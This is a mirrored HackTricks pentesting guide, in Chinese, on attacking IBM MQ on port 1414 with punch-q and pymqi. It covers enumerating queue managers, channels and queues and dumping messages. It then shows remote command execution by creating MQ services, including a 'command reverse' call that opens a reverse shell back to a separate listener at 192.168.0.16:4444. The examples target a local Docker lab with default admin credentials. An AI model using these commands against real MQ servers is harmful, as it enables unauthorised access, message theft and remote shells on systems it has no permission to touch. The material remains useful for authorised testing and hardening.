mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
334 lines
17 KiB
Markdown
334 lines
17 KiB
Markdown
# 1414 - Pentesting IBM MQ
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## 基本信息
|
||
|
||
IBM MQ 是一种 IBM 技术,用于管理消息队列。与其他 **消息代理** 技术一样,它专门用于接收、存储、处理和分类生产者与消费者之间的信息。
|
||
|
||
默认情况下,**它暴露 IBM MQ TCP 端口 1414**。有时,HTTP REST API 可以暴露在端口 **9443** 上。指标(Prometheus)也可以通过 TCP 端口 **9157** 访问。
|
||
|
||
IBM MQ TCP 端口 1414 可用于操作消息、队列、通道……但 **也可用于控制实例**。
|
||
|
||
IBM 提供了大量技术文档,详见 [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq)。
|
||
|
||
## 工具
|
||
|
||
一个建议的易于利用的工具是 **[punch-q](https://github.com/sensepost/punch-q)**,使用 Docker。该工具积极使用 Python 库 `pymqi`。
|
||
|
||
对于更手动的方法,可以使用 Python 库 **[pymqi](https://github.com/dsuch/pymqi)**。需要 [IBM MQ 依赖项](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc)。
|
||
|
||
### 安装 pymqi
|
||
|
||
需要安装和加载 **IBM MQ 依赖项**:
|
||
|
||
1. 在 [https://login.ibm.com/](https://login.ibm.com/) 上创建一个帐户(IBMid)。
|
||
2. 从 [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) 下载 IBM MQ 库。对于 Linux x86_64,它是 **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**。
|
||
3. 解压缩 (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`)。
|
||
4. 运行 `sudo ./mqlicense.sh` 接受许可条款。
|
||
|
||
> 如果您使用的是 Kali Linux,请修改文件 `mqlicense.sh`:删除/注释以下行(在第 105-110 行之间):
|
||
>
|
||
> ```bash
|
||
> if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
|
||
> then
|
||
> echo "ERROR: This package is incompatible with this system"
|
||
> echo " This package was built for ${BUILD_PLATFORM}"
|
||
> exit 1
|
||
> fi
|
||
> ```
|
||
|
||
5. 安装这些软件包:
|
||
```bash
|
||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
|
||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
|
||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
|
||
```
|
||
6. 然后,临时将 `.so` 文件添加到 LD:`export LD_LIBRARY_PATH=/opt/mqm/lib64`,**在**使用这些依赖项运行其他工具之前。
|
||
|
||
然后,您可以克隆项目 [**pymqi**](https://github.com/dsuch/pymqi):它包含有趣的代码片段、常量等。或者您可以直接安装库:`pip install pymqi`。
|
||
|
||
### 使用 punch-q
|
||
|
||
#### 使用 Docker
|
||
|
||
简单地使用:`sudo docker run --rm -ti leonjza/punch-q`。
|
||
|
||
#### 不使用 Docker
|
||
|
||
克隆项目 [**punch-q**](https://github.com/sensepost/punch-q),然后按照 readme 进行安装(`pip install -r requirements.txt && python3 setup.py install`)。
|
||
|
||
之后,可以使用 `punch-q` 命令。
|
||
|
||
## 枚举
|
||
|
||
您可以尝试使用 **punch-q** 或 **pymqi** 枚举 **队列管理器名称、用户、通道和队列**。
|
||
|
||
### 队列管理器
|
||
|
||
有时,获取队列管理器名称没有保护:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
|
||
Queue Manager name: MYQUEUEMGR
|
||
```
|
||
### Channels
|
||
|
||
**punch-q** 使用一个内部(可修改的)词汇表来查找现有的通道。使用示例:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
|
||
"DEV.ADMIN.SVRCONN" exists and was authorised.
|
||
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
|
||
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
|
||
```
|
||
有些 IBM MQ 实例接受 **未认证** 的 MQ 请求,因此不需要 `--username / --password`。当然,访问权限也可能有所不同。
|
||
|
||
一旦我们获得一个通道名称(这里是:`DEV.ADMIN.SVRCONN`),我们就可以枚举所有其他通道。
|
||
|
||
枚举基本上可以使用 **pymqi** 中的这个代码片段 `code/examples/dis_channels.py` 来完成:
|
||
```python
|
||
import logging
|
||
import pymqi
|
||
|
||
logging.basicConfig(level=logging.INFO)
|
||
|
||
queue_manager = 'MYQUEUEMGR'
|
||
channel = 'DEV.ADMIN.SVRCONN'
|
||
host = '172.17.0.2'
|
||
port = '1414'
|
||
conn_info = '%s(%s)' % (host, port)
|
||
user = 'admin'
|
||
password = 'passw0rd'
|
||
|
||
prefix = '*'
|
||
|
||
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
|
||
|
||
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
|
||
pcf = pymqi.PCFExecute(qmgr)
|
||
|
||
try:
|
||
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
|
||
except pymqi.MQMIError as e:
|
||
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
|
||
logging.info('No channels matched prefix `%s`' % prefix)
|
||
else:
|
||
raise
|
||
else:
|
||
for channel_info in response:
|
||
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
|
||
logging.info('Found channel `%s`' % channel_name)
|
||
|
||
qmgr.disconnect()
|
||
|
||
```
|
||
... 但是 **punch-q** 也嵌入了那部分(包含更多信息!)。
|
||
它可以通过以下方式启动:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
|
||
Showing channels with prefix: "*"...
|
||
|
||
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|
||
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
|
||
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
|
||
| DEV.APP.SVRCONN | Server-connection | app | | | | |
|
||
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
|
||
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
|
||
| SYSTEM.DEF.AMQP | AMQP | | | | | |
|
||
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
|
||
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
|
||
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
|
||
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
|
||
| SYSTEM.DEF.SENDER | Sender | | | | | |
|
||
| SYSTEM.DEF.SERVER | Server | | | | | |
|
||
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
|
||
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
|
||
```
|
||
### 队列
|
||
|
||
有一个代码片段使用 **pymqi** (`dis_queues.py`),但 **punch-q** 允许检索有关队列的更多信息:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
|
||
Showing queues with prefix: "*"...
|
||
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
|
||
| | | | | | GR Name | eue Nam | |
|
||
| | | | | | | e | |
|
||
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
|
||
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | E | | | | | | |
|
||
| 9 | | | | | | | |
|
||
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | | | | | | | |
|
||
| 9 | | | | | | | |
|
||
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | | | | | | | |
|
||
| 9 | | | | | | | |
|
||
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | | | | | | | |
|
||
| 9 | | | | | | | |
|
||
# Truncated
|
||
```
|
||
## 利用
|
||
|
||
### 转储消息
|
||
|
||
您可以针对队列/通道进行嗅探/转储消息(非破坏性操作)。_示例:_
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
|
||
```
|
||
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
|
||
```
|
||
**不要犹豫,迭代所有已识别的队列。**
|
||
|
||
### 代码执行
|
||
|
||
> 在继续之前的一些细节:IBM MQ 可以通过多种方式进行控制:MQSC、PCF、控制命令。可以在 [IBM MQ 文档](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison) 中找到一些一般列表。
|
||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_可编程命令格式_**) 是我们专注于与实例远程交互的内容。**punch-q** 和进一步的 **pymqi** 是基于 PCF 交互的。
|
||
>
|
||
> 您可以找到 PCF 命令的列表:
|
||
>
|
||
> - [来自 PCF 文档](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats),以及
|
||
> - [来自常量](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes)。
|
||
>
|
||
> 一个有趣的命令是 `MQCMD_CREATE_SERVICE`,其文档可在 [这里](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms) 找到。它的参数是指向实例上本地程序的 `StartCommand`(示例:`/bin/sh`)。
|
||
>
|
||
> 文档中还有该命令的警告:_"注意:此命令允许用户以 mqm 权限运行任意命令。如果被授予使用此命令的权限,恶意或粗心的用户可能会定义一个服务,从而损害您的系统或数据,例如,删除重要文件。"_
|
||
>
|
||
> _注意:始终根据 IBM MQ 文档(管理参考),在 `/admin/action/qmgr/{qmgrName}/mqsc` 处还有一个 HTTP 端点,用于运行服务创建的等效 MQSC 命令(`DEFINE SERVICE`)。这一方面在这里尚未覆盖。_
|
||
|
||
使用 PCF 进行远程程序执行的服务创建/删除可以通过 **punch-q** 完成:
|
||
|
||
**示例 1**
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
|
||
```
|
||
> 在 IBM MQ 的日志中,您可以看到命令已成功执行:
|
||
>
|
||
> ```bash
|
||
> 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
|
||
> ```
|
||
|
||
您还可以枚举机器上现有的程序(这里 `/bin/doesnotexist` ... 不存在):
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
|
||
s "whatever"
|
||
Command: /bin/doesnotexist
|
||
Arguments: -c id
|
||
Service Name: 6e3ef5af652b4436
|
||
|
||
Creating service...
|
||
Starting service...
|
||
The program '/bin/doesnotexist' is not available on the remote system.
|
||
Giving the service 0 second(s) to live...
|
||
Cleaning up service...
|
||
Done
|
||
```
|
||
**请注意,程序启动是异步的。因此,您需要第二个项目来利用该漏洞** **_(反向 shell 的监听器、在不同服务上创建文件、通过网络进行数据外泄 ...)_**
|
||
|
||
**示例 2**
|
||
|
||
为了轻松获取反向 shell,**punch-q** 还提供了两个反向 shell 有效载荷:
|
||
|
||
- 一个使用 bash
|
||
- 一个使用 perl
|
||
|
||
_当然,您可以使用 `execute` 命令构建自定义的有效载荷。_
|
||
|
||
对于 bash:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||
```
|
||
对于perl:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||
```
|
||
### Custom PCF
|
||
|
||
您可以深入研究 IBM MQ 文档,并直接使用 **pymqi** python 库来测试 **punch-q** 中未实现的特定 PCF 命令。
|
||
|
||
**示例:**
|
||
```python
|
||
import pymqi
|
||
|
||
queue_manager = 'MYQUEUEMGR'
|
||
channel = 'DEV.ADMIN.SVRCONN'
|
||
host = '172.17.0.2'
|
||
port = '1414'
|
||
conn_info = '%s(%s)' % (host, port)
|
||
user = 'admin'
|
||
password = 'passw0rd'
|
||
|
||
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
|
||
pcf = pymqi.PCFExecute(qmgr)
|
||
|
||
try:
|
||
# Replace here with your custom PCF args and command
|
||
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
|
||
args = {pymqi.CMQCFC.xxxxx: "value"}
|
||
response = pcf.MQCMD_CUSTOM_COMMAND(args)
|
||
except pymqi.MQMIError as e:
|
||
print("Error")
|
||
else:
|
||
# Process response
|
||
|
||
qmgr.disconnect()
|
||
|
||
```
|
||
如果您无法找到常量名称,可以参考[IBM MQ文档](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors)。
|
||
|
||
> _[`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster)的示例(十进制 = 73)。它需要参数`MQCA_CLUSTER_NAME`(十进制 = 2029),可以是`_`(文档:):\*
|
||
>
|
||
> ```python
|
||
> import pymqi
|
||
>
|
||
> queue_manager = 'MYQUEUEMGR'
|
||
> channel = 'DEV.ADMIN.SVRCONN'
|
||
> host = '172.17.0.2'
|
||
> port = '1414'
|
||
> conn_info = '%s(%s)' % (host, port)
|
||
> user = 'admin'
|
||
> password = 'passw0rd'
|
||
>
|
||
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
|
||
> pcf = pymqi.PCFExecute(qmgr)
|
||
>
|
||
> try:
|
||
> args = {2029: "*"}
|
||
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
|
||
> except pymqi.MQMIError as e:
|
||
> print("Error")
|
||
> else:
|
||
> print(response)
|
||
>
|
||
> qmgr.disconnect()
|
||
> ```
|
||
|
||
## 测试环境
|
||
|
||
如果您想测试IBM MQ的行为和漏洞,可以基于Docker设置本地环境:
|
||
|
||
1. 在ibm.com和cloud.ibm.com上拥有一个账户。
|
||
2. 创建一个容器化的IBM MQ:
|
||
```bash
|
||
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||
```
|
||
默认情况下,身份验证已启用,用户名为 `admin`,密码为 `passw0rd`(环境变量 `MQ_ADMIN_PASSWORD`)。在这里,队列管理器名称已设置为 `MYQUEUEMGR`(变量 `MQ_QMGR_NAME`)。
|
||
|
||
您应该已经启动并运行 IBM MQ,并且其端口已暴露:
|
||
```bash
|
||
❯ sudo docker ps
|
||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
|
||
```
|
||
> IBM MQ Docker 镜像的旧版本在: https://hub.docker.com/r/ibmcom/mq/.
|
||
|
||
## 参考文献
|
||
|
||
- [mgeeky 的 gist - "实用的 IBM MQ 渗透测试笔记"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||
- [MQ 跳跃 - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||
- [IBM MQ 文档](https://www.ibm.com/docs/en/ibm-mq)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|